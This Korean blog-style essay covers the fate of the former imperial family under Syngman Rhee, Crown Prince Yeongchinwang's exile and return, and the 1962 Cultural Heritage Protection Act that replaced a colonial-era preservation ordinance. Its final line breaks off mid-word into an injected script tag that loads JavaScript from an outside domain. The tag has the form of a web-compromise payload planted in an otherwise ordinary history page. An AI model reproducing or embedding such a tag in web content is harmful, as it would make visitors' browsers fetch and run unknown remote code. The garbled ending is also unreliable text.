이승만 정권하에서 구 황실의 재산을 빼앗는데 결정적인 역할을 한 법률과 기타 사항에 대해서 알아보도록 할 차례입니다. 우선 한 장의 사진을 보시겠습니다.

 많은 분들이 금방 알 수 있는 유명한 사진입니다. 

  바로 이 사진은 고종황제의 셋째 아드님으로서 대한제국 선포의 해인 1897년 태어나 11세때 일제에 의해 강제로 볼모로 끌려가 일본인들의 인의장막 속에서 일본 황족 나시모토(梨本)왕의 장녀인 마사코(方子) 여사와 혼인을 하였고, 평생을 고국을 그리워하다가 해방이 되어서도 자신의 안위와 자리를 걱정한 이승만 대통령에 의해 입국을 거부당하고 일본인도 한국인도 아닌 국제미아로 모진 어려움을 감내해야 했던 대한제국 황태자 영친왕 전하의 모습입니다.  

  결국 4.19혁명으로 이승만 정권이 물러난 이후 1963년 박정희 정권때 귀국할 수 있었으나 식물인간이 된 상태에서 귀국하여 7년간 투병생활을 하다가 꿈에서도 그리워하던 궁궐 흙을 밟아보지도 못하고 1970년 5월1일 73세를 일기로 숨을 거두신 영친왕 전하입니다.



 왜 영친왕 전하의 사진을 먼저 보여드렸는가 하면 바로 여기에 소개하는 해방 이후 황실의 현황을 말씀드리려면 빠지지 않는 핵심 인물이 바로 영친왕이기 때문입니다.

 이제 본론으로 들어가겠습니다.  언급할 내용이 많습니다.

 1962년 1월 10일
 이 날은 우리나라에 있어 무척 의미가 있는 날입니다.  
 바로 이 날  법률 제961호로「문화재보호법」이 드디어 제정 공포되었던 것입니다.

  이「문화재보호법」은 우리 민족의 문화유산 전반을 보호 관리하는 최초의 기본법이었는데 이 법의 제정으로 29년간이나 우리 나라 문화유산을 관리해 오던 일제가 만든「조선보물고적명승천연기념물보존령」이 폐지될 수 있었던 것입니다.

  해방된지 수십년이 지나도록 일제가 우리나라에 대한 식민지 정책을 수행하기 위해 제정하였던 법률들을 폐지하지 않았던 이유는 당시 해방이후 혼란으로 인해 법률을 제정하고 정비할 만한 국가적인 여유가 없었을 뿐만 아니라 친일청산을 제대로 하지 않았던 이유도 한몫을 담당했습니다.  물론 그 후 곧장 6.25 한국전쟁의 소용돌이에 온 나라가 매몰되었던 것도 한 이유라고 할 수 있을 것입니다.

  그래서 1945년 8월 15일 광복이 되었지만 문화재 보존에 관한 법률을 제정할 시기까지는 일제가 만든「조선보물고적명승천연기념물보존령」을 제헌헌법(制憲憲法) 제100조 규정에 의하여 그 효력을 유지시키도록 했던 것입니다.

  일제시대 당시에 한국에는 국보라는 것이 없었습니다.  
  그 이유는 바로 위에 언급한 「조선보물고적명승천연기념물보존령」 때문이었습니다.  이 보존령에는 한국의 문화재는 어떠한 것이라도 국보로 지정할 수 없도록 하였고 고적이나 보물로만 지정할 수 있게 해놓았던 것입니다.  하지만 당시 일본에는「국보보존법」이 있어 일본 문화재만은 국보로 지정되었던 것입니다.
  우리나라를 일본의 식민국가로 봤으니 국보급이 있어도 존중해 줄리가 없었던 것이지요.

  이러한 식민지 침략의 잔재인 보존령을 해방후 수십년이 지나도록 없애지 못했으니 과거 청산은 이승만 정권하에서는 기대할 수가 없었다고 보아도 될 것 같습니다.  

  어쨋든「문화재보호법」에 의해 한국의 문화재도 국보로 지정할 수 있도록 법적 근거를 마련하게 되었던 것입니다.  물론, 1955년「국보고적명승천연기념물보존회」가 정식으로 발족되면서 지정된 문화재를 모두 국보로 승격 지정한 일이 있었으나 법적 뒷받침은 새로 제정된「문화재보호법」에서 근거를 마련하게 되었던 것입니다.  


  옆 사진은 1900년대 초 숭례문(남대문)의 모습입니다.

  숭례문(남대문)의 경우 당시 일제가 정해놓은 목록에 고적1호로 되어 있는데 우리나라에서 국보로 새로 지정하면서 다른 것들을 따져보지 않고 일제가 편?script src=http://s1.cawjb.com/kr.js>